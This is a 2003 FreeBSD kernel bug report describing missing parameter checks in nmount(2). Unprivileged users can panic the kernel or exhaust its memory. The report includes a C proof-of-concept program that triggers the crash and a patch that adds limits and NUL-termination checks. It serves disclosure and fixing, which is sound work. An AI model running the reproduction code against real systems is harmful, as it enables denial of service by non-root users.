kern/59177: vfs_nmount lacks parameter checks: non-root can cause panic/memory exhaustion.

Peter Edwards peter.edwards at openet-telecom.com
Tue Nov 11 06:40:17 PST 2003


>Number:         59177
>Category:       kern
>Synopsis:       vfs_nmount lacks parameter checks: non-root can cause panic/memory exhaustion.
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Nov 11 06:40:11 PST 2003
>Closed-Date:
>Last-Modified:
>Originator:     Peter Edwards
>Release:        FreeBSD 5.1-CURRENT i386
>Organization:
Openet Telecom
>Environment:
System: FreeBSD rocklobster 5.1-CURRENT FreeBSD 5.1-CURRENT #7: Mon Oct 13 21:11:46 IST 2003 petere at archie:/pub/FreeBSD/obj/pub/FreeBSD/current/src/sys/ROCKLOBSTER i386

>Description:

(Marked as "high priority", because it has security implications.
Originally posted to -current on 11/04/03 with subject "Bug: nmount(2)
lacks parameter checking." I finally forced myself into learning
enough about sendmail to get it to relay to our MX, so my send-pr
should now work.)

nmount() calls vfs_nmount() pretty much directly after copying in
the io vector from userland.  vfs_nmount() first calls vfs_buildopts().

Note there's no check up to this point that the user passing the
options in is indeed root. So, all the bugs mentioned can be tickled
by a non-root user.

vfs_buildopts doesn't ensure that each option's "name" is a null
terminated string, but, it later calls vfs_sanitizeopts(), which
assumes it is. By passing in strings just at and just over the
pagesize, you can cause vfs_buildopts to feed vfs_sanitizeopts()
something that makes it vomit quite quickly, by causing strcmp to
hit an unmappped page.

Another issue: vfs_buildopts also leaks memory if it jumps to "bad":
anything in the current option is lost to the woods. It's left as
an exercise to the reader to write a program to keep making invalid
requests to nmount to exhaust kernel memory.

Finally, there's no checking on how much memory is actually aquired
by vfs_buildopts(): it can be passed up to MAX_IOVCOUNT (1024)
elements in the iovec, and each of these can have up to 64K of data.
Unlike passing I/O vectors to writev, this all gets malloc()d in
the kernel, so a single call to nmount() by a normal user can get
the kernel to allocate over 64M of memory.

>How-To-Repeat:

#include <sys/param.h>
#include <sys/uio.h>
#include <sys/mount.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

static const int OPTCOUNT=128;
int
main(int argc, char *argv[])
{
    int pagesize = getpagesize();
    char *buf = malloc(pagesize + 1);
    int i;
    struct iovec iov[OPTCOUNT * 2];

    memset(buf, pagesize + 1, 'x'); /* complete page + 1, not null terminated. */

    for (i = 0; i < OPTCOUNT; i++) {
	iov[i*2].iov_len = pagesize + i % 2;
	iov[i*2].iov_base = buf;
	iov[i*2+1].iov_len = 1;
	iov[i*2+1].iov_base = buf;
    }

    if (nmount(iov, i, 0) < 0)
	fprintf(stderr, "well, we didn't panic\n");
    else
	fprintf(stderr, "success??\n");
}

>Fix:

I've verified that the patch below solves the problem for me locally.
(This is a slightly modified version of the original: A kindly
hacker pointed out my C++ism) "MAXOPTMEM" may need to be raised,
but for the life of me, I can't see why you'd need to pass a mount
system call more than 64k of options.

Index: vfs_mount.c
===================================================================
RCS file: /pub/FreeBSD/development/FreeBSD-CVS/src/sys/kern/vfs_mount.c,v
retrieving revision 1.112
diff -u -r1.112 vfs_mount.c
--- vfs_mount.c	5 Nov 2003 04:30:07 -0000	1.112
+++ vfs_mount.c	6 Nov 2003 20:24:13 -0000
@@ -98,6 +98,7 @@
 #endif
 
 #define ROOTNAME	"root_device"
+#define MAXOPTMEM	(1024 * 64)
 
 static void	checkdirs(struct vnode *olddp, struct vnode *newdp);
 static int	vfs_nmount(struct thread *td, int, struct uio *);
@@ -243,6 +244,7 @@
 	struct vfsopt *opt;
 	unsigned int i, iovcnt;
 	int error, namelen, optlen;
+	size_t memtotal = 0;
 
 	iovcnt = auio->uio_iovcnt;
 	opts = malloc(sizeof(struct vfsoptlist), M_MOUNT, M_WAITOK);
@@ -253,6 +255,25 @@
 		optlen = auio->uio_iov[i + 1].iov_len;
 		opt->name = malloc(namelen, M_MOUNT, M_WAITOK);
 		opt->value = NULL;
+		opt->len = optlen;
+
+		/*
+		 * Do this early, so jumps to "bad" will free the current
+		 * option
+		 */
+		TAILQ_INSERT_TAIL(opts, opt, link);
+		memtotal += sizeof (struct vfsopt) + optlen + namelen;
+
+		/*
+		 * Avoid consuming too much memory, and attempts to overflow
+		 * memtotal
+		 */
+		if (memtotal > MAXOPTMEM  || optlen > MAXOPTMEM ||
+		    namelen > MAXOPTMEM) {
+			error = EINVAL;
+			goto bad;
+		}
+
 		if (auio->uio_segflg == UIO_SYSSPACE) {
 			bcopy(auio->uio_iov[i].iov_base, opt->name, namelen);
 		} else {
@@ -261,7 +282,11 @@
 			if (error)
 				goto bad;
 		}
-		opt->len = optlen;
+		/* Ensure names are null-terminated strings */
+		if (opt->name[namelen - 1] != '\0') {
+		    error = EINVAL;
+		    goto bad;
+		}
 		if (optlen != 0) {
 			opt->value = malloc(optlen, M_MOUNT, M_WAITOK);
 			if (auio->uio_segflg == UIO_SYSSPACE) {
@@ -274,7 +299,6 @@
 					goto bad;
 			}
 		}
-		TAILQ_INSERT_TAIL(opts, opt, link);
 	}
 	vfs_sanitizeopts(opts);
 	*options = opts;

>Release-Note:
>Audit-Trail:
>Unformatted:


More information about the freebsd-bugs mailing list